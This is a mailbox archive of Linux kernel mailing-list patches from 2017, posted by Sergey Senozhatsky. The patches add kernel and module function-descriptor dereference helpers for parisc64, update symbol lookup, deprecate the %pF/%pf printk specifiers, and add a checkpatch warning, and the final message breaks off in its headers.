	for glk-linux-kernel-3@m.gmane.org; Wed, 20 Sep 2017 18:29:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751936AbdITQ35 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Wed, 20 Sep 2017 12:29:57 -0400
Original-Received: from mail-pf0-f196.google.com ([209.85.192.196]:38774 "EHLO
        mail-pf0-f196.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751581AbdITQ3y (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 20 Sep 2017 12:29:54 -0400
Original-Received: by mail-pf0-f196.google.com with SMTP id a7so1381315pfj.5;
        Wed, 20 Sep 2017 09:29:54 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=5eIjg/ySaCRfpzRnqi0tMWSm+HJQGizVM74onIhSWcg=;
        b=EYACIY/85bxiwzKyji/JGfkKrb+hKh2w1Grph1h2siq0bq3Bc0+kjazx5ywiVeqER0
         rpUwLa88CPEsABVDMWkxHl31lQ9mOJ6DLab//9Ohwe0McxnhtwnjtTEnfFBxwZA9NPqQ
         uIaJAM3FNhKL+jyDnvM3YShaO+eTbtPOGwRroFytBFXAaBZ3nftEl7bD0xH1+RV3AoS3
         1d6u7YOhUOczgA57eczgncO3/P26Xba8CI3ES2NQl+k5biCpxho+FZ3MgP+SElxRE31i
         sbXuE872rsEQCJ+qUchpxXKYWpenpTaDAtLQJYSfl6ufyFI2VdPY3Dv8ZLaXQb+FZ76P
         KUBQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=5eIjg/ySaCRfpzRnqi0tMWSm+HJQGizVM74onIhSWcg=;
        b=jVh31DGbyLqpek17iw4A8VcwEFr7llM67qemQxeZyLGVV94mhJKg2QHhrbBCYc9C55
         CQlzE1dRQf7fM7RdJ5RAteAxABMXOtnj1vy+6/MRWW+cARC26R4H9mZpldItkhU1zqg1
         /XSarT6nZ2Cw/SXPmJfxW5Nx1DlG+nR69EZVjg8W8IML7SSKKKyPMAs0fNnz+YeuP4hT
         /BET2tVMTWLRcObhklqA7itAiFkualcffHd6GDLQe9toUvzQuccXbajMk44HKtqMLbmt
         EikWgtAir67Ari2pz1CxsN1xU6Q5pC9je6sTEn4/WiT4Hx6GeiuIhpyBZxQMnV2pjbCP
         h14Q==
X-Gm-Message-State: AHPjjUhqG2LLx4ktU2dMM6a3WDJjKGBHsJsAkLGLKFPQp0ekQj5w8Vz8
        uzUJOIwJWZoiTs0Sgr2tsYo=
X-Google-Smtp-Source: AOwi7QAYa+3JtEOvkBLsP+qwgBdQG8fYt4kSJ3hmVGmmEX/f380U2izXDo5cNKhDv/DbogyDvWzVfA==
X-Received: by 10.99.154.18 with SMTP id o18mr1720623pge.18.1505924993567;
        Wed, 20 Sep 2017 09:29:53 -0700 (PDT)
Original-Received: from localhost.localdomain ([121.137.63.184])
        by smtp.gmail.com with ESMTPSA id c185sm8890567pfb.57.2017.09.20.09.29.48
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Wed, 20 Sep 2017 09:29:52 -0700 (PDT)
X-Mailer: git-send-email 2.14.1
In-Reply-To: <20170920162910.32053-1-sergey.senozhatsky@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2574176 gmane.linux.ports.ia64:28133 gmane.linux.ports.parisc:27832 gmane.linux.ports.ppc64.devel:148123
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2574176>

We are moving towards separate kernel and module function descriptor
dereference callbacks. This patch enables it for parisc64.

For pointers that belong to the kernel
-  Added __start_opd and __end_opd pointers, to track the kernel
   .opd section address range;

-  Added dereference_kernel_function_descriptor(). Now we
   will dereference only function pointers that are within
   [__start_opd, __end_opd];

For pointers that belong to a module
-  Added dereference_module_function_descriptor() to handle module
   function descriptor dereference. Now we will dereference only
   pointers that are within [module->opd.start, module->opd.end].

Signed-off-by: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Signed-off-by: Helge Deller <deller@gmx.de>
---
 arch/parisc/boot/compressed/vmlinux.lds.S |  2 ++
 arch/parisc/include/asm/sections.h        |  2 ++
 arch/parisc/kernel/module.c               | 17 +++++++++++++++++
 arch/parisc/kernel/process.c              |  9 +++++++++
 arch/parisc/kernel/vmlinux.lds.S          |  2 ++
 5 files changed, 32 insertions(+)

diff --git a/arch/parisc/boot/compressed/vmlinux.lds.S b/arch/parisc/boot/compressed/vmlinux.lds.S
index a4ce3314e78e..4ebd4e65524c 100644
--- a/arch/parisc/boot/compressed/vmlinux.lds.S
+++ b/arch/parisc/boot/compressed/vmlinux.lds.S
@@ -29,7 +29,9 @@ SECTIONS
 	. = ALIGN(16);
 	/* Linkage tables */
 	.opd : {
+		__start_opd = .;
 		*(.opd)
+		__end_opd = .;
 	} PROVIDE (__gp = .);
 	.plt : {
 		*(.plt)
diff --git a/arch/parisc/include/asm/sections.h b/arch/parisc/include/asm/sections.h
index 59fbe0067112..845ddc9a3421 100644
--- a/arch/parisc/include/asm/sections.h
+++ b/arch/parisc/include/asm/sections.h
@@ -7,6 +7,8 @@
 #ifdef CONFIG_64BIT
 #undef dereference_function_descriptor
 unsigned long dereference_function_descriptor(unsigned long);
+#undef dereference_kernel_function_descriptor
+unsigned long dereference_kernel_function_descriptor(unsigned long);
 #endif
 
 #endif
diff --git a/arch/parisc/kernel/module.c b/arch/parisc/kernel/module.c
index f1a76935a314..28f89b3dcc11 100644
--- a/arch/parisc/kernel/module.c
+++ b/arch/parisc/kernel/module.c
@@ -66,6 +66,7 @@
 
 #include <asm/pgtable.h>
 #include <asm/unwind.h>
+#include <asm/sections.h>
 
 #if 0
 #define DEBUGP printk
@@ -954,3 +955,19 @@ void module_arch_cleanup(struct module *mod)
 {
 	deregister_unwind_table(mod);
 }
+
+#ifdef CONFIG_64BIT
+unsigned long dereference_module_function_descriptor(struct module *mod,
+						     unsigned long addr)
+{
+	unsigned long start_opd = (Elf64_Addr)mod->core_layout.base +
+				   mod->arch.fdesc_offset;
+	unsigned long end_opd = start_opd +
+				mod->arch.fdesc_count * sizeof(Elf64_Fdesc);
+
+	if (addr < start_opd || addr >= end_opd)
+		return addr;
+
+	return dereference_function_descriptor(addr);
+}
+#endif
diff --git a/arch/parisc/kernel/process.c b/arch/parisc/kernel/process.c
index f00a5f93492a..ff13726b2d2d 100644
--- a/arch/parisc/kernel/process.c
+++ b/arch/parisc/kernel/process.c
@@ -276,6 +276,15 @@ unsigned long dereference_function_descriptor(unsigned long ptr)
 		ptr = (unsigned long)p;
 	return ptr;
 }
+
+unsigned long dereference_kernel_function_descriptor(unsigned long addr)
+{
+	if (addr < (unsigned long)__start_opd ||
+			addr >= (unsigned long)__end_opd)
+		return addr;
+
+	return dereference_function_descriptor(addr);
+}
 #endif
 
 static inline unsigned long brk_rnd(void)
diff --git a/arch/parisc/kernel/vmlinux.lds.S b/arch/parisc/kernel/vmlinux.lds.S
index ffe2cbf52d1a..ab030895dd1e 100644
--- a/arch/parisc/kernel/vmlinux.lds.S
+++ b/arch/parisc/kernel/vmlinux.lds.S
@@ -99,7 +99,9 @@ SECTIONS
 	. = ALIGN(16);
 	/* Linkage tables */
 	.opd : {
+		__start_opd = .;
 		*(.opd)
+		__end_opd = .;
 	} PROVIDE (__gp = .);
 	.plt : {
 		*(.plt)
-- 
2.14.1



From - Thu Nov 08 21:40:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: [RFC][PATCH v2 6/7] symbol lookup: use new kernel and module dereference functions
Date: Thu, 21 Sep 2017 01:29:08 +0900
Lines: 116
Approved: news@gmane.org
Message-ID: <20170920162910.32053-7-sergey.senozhatsky@gmail.com>
References: <20170920162910.32053-1-sergey.senozhatsky@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1505925006 17793 195.159.176.226 (20 Sep 2017 16:30:06 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 20 Sep 2017 16:30:06 +0000 (UTC)
Cc: Petr Mladek <pmladek@suse.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>,
        Alexei Starovoitov <ast@kernel.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org,
        Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
To: Tony Luck <tony.luck@intel.com>, Fenghua Yu <fenghua.yu@intel.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        James Bottomley <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Sep 20 18:30:01 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1duhss-0004Gy-Dn
	for glk-linux-kernel-3@m.gmane.org; Wed, 20 Sep 2017 18:29:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751968AbdITQaE (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Wed, 20 Sep 2017 12:30:04 -0400
Original-Received: from mail-pf0-f193.google.com ([209.85.192.193]:36350 "EHLO
        mail-pf0-f193.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751581AbdITQaA (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 20 Sep 2017 12:30:00 -0400
Original-Received: by mail-pf0-f193.google.com with SMTP id f84so1385406pfj.3;
        Wed, 20 Sep 2017 09:30:00 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=30RxeibIpppgxPJFamU/flTAJbbcbNLVZYc2OxGBx3k=;
        b=fltd/ZWDfFQgKDb39L6MufWzOXkvFpeHcYb5c4/fkoApb//tB0itZgkzPHvGW3Iev4
         gH3l84Hj8UbaHAZ3AwW6IZCjo3HDbnitfj2jj0SFc4QVZ9r3jCf5YcSvHzA35h30kjcq
         OESIQO2dW55h73rXNzLA2+JmfUi8C9iT+CwBJxtYL8HnIU9PhkgaUwzAhawfCPuO9GnO
         LG/B/8zGRUK73BF2W6nHvV77O2ij5UdNrhfFF1qN12QmgMLdE+M3Pe86o7j3+ijC1q5I
         ENP2j/8gCzs673UrvA4MH5k8ULAt3hm5ulXbOx7CI4tFXi9/6H5pTLwtLB8DPlhTP60I
         AQjw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=30RxeibIpppgxPJFamU/flTAJbbcbNLVZYc2OxGBx3k=;
        b=agYm2ofGMzoQG5fd9ZGbonFaXfbEcBTPJyUKGImzewJoHb4QhHb6BZrnjHPE3zq06X
         uug25z7YJhrHvi9t1zPDmjv8RQY9Du0p0JcrAt5ljM7F4l9XfpY/Z92oliR3lYmZt9Ri
         dQnzzlnVYVVtaE92qr7QLa8vqVZ7QeWntlLDWx0MkVnnUi4Ww79Fwe9aKnrQ9fk/MyyP
         Zvl78o+2QE4prWmBCDKI7A6O0JHZBdOPzXuQAAqFLu6Rn1c2dvo1xrdsaLSy0IKwJ8bB
         MI2mT/93AtIAIAkhc6Y9o80/O8ZmvjgE/aTNSETMaYFcVUSvOjbcs0bona7n8SZ7RY74
         IuDQ==
X-Gm-Message-State: AHPjjUgHTY7Jxsr9gTqIy0ZTfF8KR11NF3oD6QrHGrmXaHC+d3OemffI
        MxApr+EENObPQ8jm8O/R/p4=
X-Google-Smtp-Source: AOwi7QAS/LY8NebR6RlNDYDehU4J8ng99i6q5cGaVpwzRrnUzZRHXAsLmOJEEx3YN67u1zQyFBzbew==
X-Received: by 10.84.216.21 with SMTP id m21mr2650982pli.273.1505924999357;
        Wed, 20 Sep 2017 09:29:59 -0700 (PDT)
Original-Received: from localhost.localdomain ([121.137.63.184])
        by smtp.gmail.com with ESMTPSA id c185sm8890567pfb.57.2017.09.20.09.29.54
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Wed, 20 Sep 2017 09:29:58 -0700 (PDT)
X-Mailer: git-send-email 2.14.1
In-Reply-To: <20170920162910.32053-1-sergey.senozhatsky@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2574177 gmane.linux.ports.ia64:28134 gmane.linux.ports.parisc:27833 gmane.linux.ports.ppc64.devel:148124
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2574177>

Call appropriate function descriptor dereference ARCH callbacks:
- dereference_kernel_function_descriptor() if the pointer is a
  kernel symbol;

- dereference_module_function_descriptor() if the pointer is a
  module symbol.

This patch also removes dereference_function_descriptor() from
'%pF/%pf' vsprintf handler, because it has the same behavior with
'%pS/%ps' now.

Signed-off-by: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
---
 Documentation/printk-formats.txt | 15 +++++----------
 kernel/kallsyms.c                |  1 +
 kernel/module.c                  |  1 +
 lib/vsprintf.c                   |  5 +----
 4 files changed, 8 insertions(+), 14 deletions(-)

diff --git a/Documentation/printk-formats.txt b/Documentation/printk-formats.txt
index 361789df51ec..b2afafc84638 100644
--- a/Documentation/printk-formats.txt
+++ b/Documentation/printk-formats.txt
@@ -50,26 +50,23 @@ Symbols/Function Pointers
 
 ::
 
+	%pS	versatile_init+0x0/0x110
+	%ps	versatile_init
 	%pF	versatile_init+0x0/0x110
 	%pf	versatile_init
-	%pS	versatile_init+0x0/0x110
 	%pSR	versatile_init+0x9/0x110
 		(with __builtin_extract_return_addr() translation)
-	%ps	versatile_init
 	%pB	prev_fn_of_versatile_init+0x88/0x88
 
-The ``F`` and ``f`` specifiers are for printing function pointers,
-for example, f->func, &gettimeofday. They have the same result as
-``S`` and ``s`` specifiers. But they do an extra conversion on
-ia64, ppc64 and parisc64 architectures where the function pointers
-are actually function descriptors.
-
 The ``S`` and ``s`` specifiers can be used for printing symbols
 from direct addresses, for example, __builtin_return_address(0),
 (void *)regs->ip. They result in the symbol name with (``S``) or
 without (``s``) offsets. If KALLSYMS are disabled then the symbol
 address is printed instead.
 
+Note, that the ``F`` and ``f`` specifiers are identical to ``S`` (``s``)
+and thus deprecated.
+
 The ``B`` specifier results in the symbol name with offsets and should be
 used when printing stack backtraces. The specifier takes into
 consideration the effect of compiler optimisations which may occur
@@ -77,8 +74,6 @@ when tail-call``s are used and marked with the noreturn GCC attribute.
 
 Examples::
 
-	printk("Going to call: %pF\n", gettimeofday);
-	printk("Going to call: %pF\n", p->func);
 	printk("%s: called from %pS\n", __func__, (void *)_RET_IP_);
 	printk("%s: called from %pS\n", __func__,
 				(void *)__builtin_return_address(0));
diff --git a/kernel/kallsyms.c b/kernel/kallsyms.c
index 127e7cfafa55..e2fc09ea9509 100644
--- a/kernel/kallsyms.c
+++ b/kernel/kallsyms.c
@@ -322,6 +322,7 @@ const char *kallsyms_lookup(unsigned long addr,
 	if (is_ksym_addr(addr)) {
 		unsigned long pos;
 
+		addr = dereference_kernel_function_descriptor(addr);
 		pos = get_symbol_pos(addr, symbolsize, offset);
 		/* Grab name */
 		kallsyms_expand_symbol(get_symbol_offset(pos),
diff --git a/kernel/module.c b/kernel/module.c
index b792e814150a..63361de377ad 100644
--- a/kernel/module.c
+++ b/kernel/module.c
@@ -3948,6 +3948,7 @@ const char *module_address_lookup(unsigned long addr,
 	preempt_disable();
 	mod = __module_address(addr);
 	if (mod) {
+		addr = dereference_module_function_descriptor(mod, addr);
 		if (modname)
 			*modname = mod->name;
 		ret = get_ksymbol(mod, addr, size, offset);
diff --git a/lib/vsprintf.c b/lib/vsprintf.c
index bcd906a39010..bf04b4f5d8e7 100644
--- a/lib/vsprintf.c
+++ b/lib/vsprintf.c
@@ -40,7 +40,6 @@
 #include "../mm/internal.h"	/* For the trace_print_flags arrays */
 
 #include <asm/page.h>		/* for PAGE_SIZE */
-#include <asm/sections.h>	/* for dereference_function_descriptor() */
 #include <asm/byteorder.h>	/* cpu_to_le16 */
 
 #include <linux/string_helpers.h>
@@ -1721,10 +1720,8 @@ char *pointer(const char *fmt, char *buf, char *end, void *ptr,
 	}
 
 	switch (*fmt) {
-	case 'F':
+	case 'F': /* %pF and %pf are kept for compatibility reasons only */
 	case 'f':
-		ptr = (void *)dereference_function_descriptor((unsigned long)ptr);
-		/* Fallthrough */
 	case 'S':
 	case 's':
 	case 'B':
-- 
2.14.1



From - Thu Nov 08 21:40:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: [RFC][PATCH v2 7/7] checkpatch: add pF/pf deprecation warning
Date: Thu, 21 Sep 2017 01:29:09 +0900
Lines: 46
Approved: news@gmane.org
Message-ID: <20170920162910.32053-8-sergey.senozhatsky@gmail.com>
References: <20170920162910.32053-1-sergey.senozhatsky@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1505925016 19759 195.159.176.226 (20 Sep 2017 16:30:16 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 20 Sep 2017 16:30:16 +0000 (UTC)
Cc: Petr Mladek <pmladek@suse.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>,
        Alexei Starovoitov <ast@kernel.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org,
        Sergey Senozhatsky <sergey.senozhatsky@gmail.com>,
        Andy Whitcroft <apw@canonical.com>,
        Joe Perches <joe@perches.com>
To: Tony Luck <tony.luck@intel.com>, Fenghua Yu <fenghua.yu@intel.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        James Bottomley <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Sep 20 18:30:09 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1duht0-0004bA-DA
	for glk-linux-kernel-3@m.gmane.org; Wed, 20 Sep 2017 18:30:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751985AbdITQaL (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Wed, 20 Sep 2017 12:30:11 -0400
Original-Received: from mail-pg0-f67.google.com ([74.125.83.67]:33258 "EHLO
        mail-pg0-f67.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751581AbdITQaG (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 20 Sep 2017 12:30:06 -0400
Original-Received: by mail-pg0-f67.google.com with SMTP id i130so1921317pgc.0;
        Wed, 20 Sep 2017 09:30:05 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=HJqhUlNnWHdffPLzDjDRPKA3+7BArB5/r6DxGIZj5oI=;
        b=g33OEuK6nTtEpDQOIPbrRhPIn/I4HgD2NHO2mWXr3Q4fbDS0yC58g79e5XVh6pfII/
         Sl6TatUiOsHhqn7s0Uo7NLmkbt+V+4uYZ9N4+/zcfOCsi9kjD4x1qPzeIbEl6YOTuK5r
         ntqJkG+2GEaXMYJL7h1uQ1jAfdq2uxSra1h9Zj650pYR0aaDq9BNI7Dg4K1aDcNg0l1z
         vrVdc2kvTioAPArW/A/qZIfjWzdeyAPHxbjfwV2kR0pqHRZGBepFkot6seoR7nC9u2La
         04AWWWRqDyTiEuIEQH3mhlAUb6/vJZMExDPb2VSn41W1uEZzCK8WqIZHQBc9yuRjQ6cC
         VBfA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=HJqhUlNnWHdffPLzDjDRPKA3+7BArB5/r6DxGIZj5oI=;
        b=EmgYqXY8JxsFKDr6VqXADvLiVgIsPfrcZU6zOAXo42CXwYltjveryaWy0hOqsJ/8d9
         sqUAMAq+OJn0xwP4UPDCdtWkNYX1acut5J3mKfV8NWt6fiDvggtoaNOBpSg6rsJDY6Mo
         /biLtzSfPigsDrud0GeKTV8dVfy4C/mzCGX56+8VcFg3cqSSByoDm2wZFWUnYKtq8+R3
         i09qJXjKgvSzegVJsb0I9AOkFHhyRvG4rKIuHRDF4fKGVPirhXohbbRYELuOQWXp9E1I
         5uhJsY/y0YdgoqFbJRuniYWrPvtF6HN8cpoyy6o4WLRM7qmB/VCWORhK6WpSJL7KXWLe
         OmpA==
X-Gm-Message-State: AHPjjUgl91SvMOcmXDHB7xoAUiTUfldceX9sCItb3iB/9hxg756rWArL
        Sm+69Pxj4UwNgB041gdrN8Y=
X-Google-Smtp-Source: AOwi7QDFueRMZKFGzhb2953NehyciXW4SyKQCVnC2ZD58b12+vb/xEkXNNtIeP6AR0LqOv5K7lFGXQ==
X-Received: by 10.98.12.84 with SMTP id u81mr2735453pfi.93.1505925005415;
        Wed, 20 Sep 2017 09:30:05 -0700 (PDT)
Original-Received: from localhost.localdomain ([121.137.63.184])
        by smtp.gmail.com with ESMTPSA id c185sm8890567pfb.57.2017.09.20.09.30.00
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Wed, 20 Sep 2017 09:30:04 -0700 (PDT)
X-Mailer: git-send-email 2.14.1
In-Reply-To: <20170920162910.32053-1-sergey.senozhatsky@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2574178 gmane.linux.ports.ia64:28135 gmane.linux.ports.parisc:27834 gmane.linux.ports.ppc64.devel:148125
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2574178>

We deprecated '%pF/%pf' printk specifiers, since '%pS/%ps' is now smart
enough to handle function pointer dereference on platforms where such
dereference is required.

checkpatch warning example:

WARNING: Use '%pS/%ps' instead. This pointer extension was deprecated: '%pF'

Signed-off-by: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Cc: Andy Whitcroft <apw@canonical.com>
Cc: Joe Perches <joe@perches.com>
---
 scripts/checkpatch.pl | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/scripts/checkpatch.pl b/scripts/checkpatch.pl
index dd2c262aebbf..5945e4843466 100755
--- a/scripts/checkpatch.pl
+++ b/scripts/checkpatch.pl
@@ -5762,18 +5762,20 @@ sub process {
 		        for (my $count = $linenr; $count <= $lc; $count++) {
 				my $fmt = get_quoted_string($lines[$count - 1], raw_line($count, 0));
 				$fmt =~ s/%%//g;
-				if ($fmt =~ /(\%[\*\d\.]*p(?![\WFfSsBKRraEhMmIiUDdgVCbGNO]).)/) {
+				if ($fmt =~ /(\%[\*\d\.]*p(?![\WSsBKRraEhMmIiUDdgVCbGNO]).)/) {
 					$bad_extension = $1;
 					last;
 				}
 			}
 			if ($bad_extension ne "") {
 				my $stat_real = raw_line($linenr, 0);
+				my $error_msg = "Invalid vsprintf pointer extension ";
 				for (my $count = $linenr + 1; $count <= $lc; $count++) {
 					$stat_real = $stat_real . "\n" . raw_line($count, 0);
 				}
+				$error_msg = "Use '%pS/%ps' instead. This pointer extension was deprecated:" if ($bad_extension =~ /pF|pf/);
 				WARN("VSPRINTF_POINTER_EXTENSION",
-				     "Invalid vsprintf pointer extension '$bad_extension'\n" . "$here\n$stat_real\n");
+				     "$error_msg '$bad_extension'\n" . "$here\n$stat_real\n");
 			}
 		}
 
-- 
2.14.1



From - Thu Nov 08 21:40:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: [RFC][PATCH v2 7/7] checkpatch: add pF/pf deprecation warning
Date: Thu, 21 Sep 2017 01:29:10 +0900
Lines: 46
Approved: news@gmane.org
Message-ID: <20170920162910.32053-9-sergey.senozhatsky@gmail.com>
References: <20170920162910.32053-1-sergey.senozhatsky@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1505925017 20012 195.159.176.226 (20 Sep 2017 16:30:17 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 20 Sep 2017 16:30:17 +0000 (UTC)
Cc: Petr Mladek <pmladek@suse.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>,
        Alexei Starovoitov <ast@kernel.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org,
        Sergey Senozhatsky <sergey.senozhatsky@gmail.com>,
        Andy Whitcroft <apw@canonical.com>,
        Joe Perches <joe@perches.com>
To: Tony Luck <tony.luck@intel.com>, Fenghua Yu <fenghua.yu@intel.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        James Bottomley <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Sep 20 18:30:11 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1duht3-0004lo-2S
	for glk-linux-kernel-3@m.gmane.org; Wed, 20 Sep 2017 18:30:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752012AbdITQaP (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Wed, 20 Sep 2017 12:30:15 -0400
Original-Received: from mail-pg0-f68.google.com ([74.125.83.68]:33283 "EHLO
        mail-pg0-f68.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751581AbdITQaL (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 20 Sep 2017 12:30:11 -0400
Original-Received: by mail-pg0-f68.google.com with SMTP id i130so1921464pgc.0;
        Wed, 20 Sep 2017 09:30:11 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=HJqhUlNnWHdffPLzDjDRPKA3+7BArB5/r6DxGIZj5oI=;
        b=hxNwoxqHd94Q+u14TV5UUR+RmHch00h2JSaAkpgm66G65YJEruTIMFiK5w6S3E2PA8
         7oB9cO2ZoL79FJCJaKYy09sjeoZWre0L/OAu+7vmuNE83nOZWHjHzpwkDmPep1Gho6b4
         Dwk8xI5qJusBR/hkdeNkk+SbylNQCNNOvz+wHPtBbOM/iwvYIBOF4VeuA3qMHrlGOcaT
         WkehdOpQ1s4CfP6sflofut4TGQBJQb2UvdNj2Rmsi57roFaGw+sQrMkOuxJMQSRhaCz6
         Z7Ul6YqYpvQNFJSIxL2VRNJrNGsRtwNDdrQvW6v/+ae7HZ01blmmMPq/bXBqBUwpNzuJ
         /Q5A==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
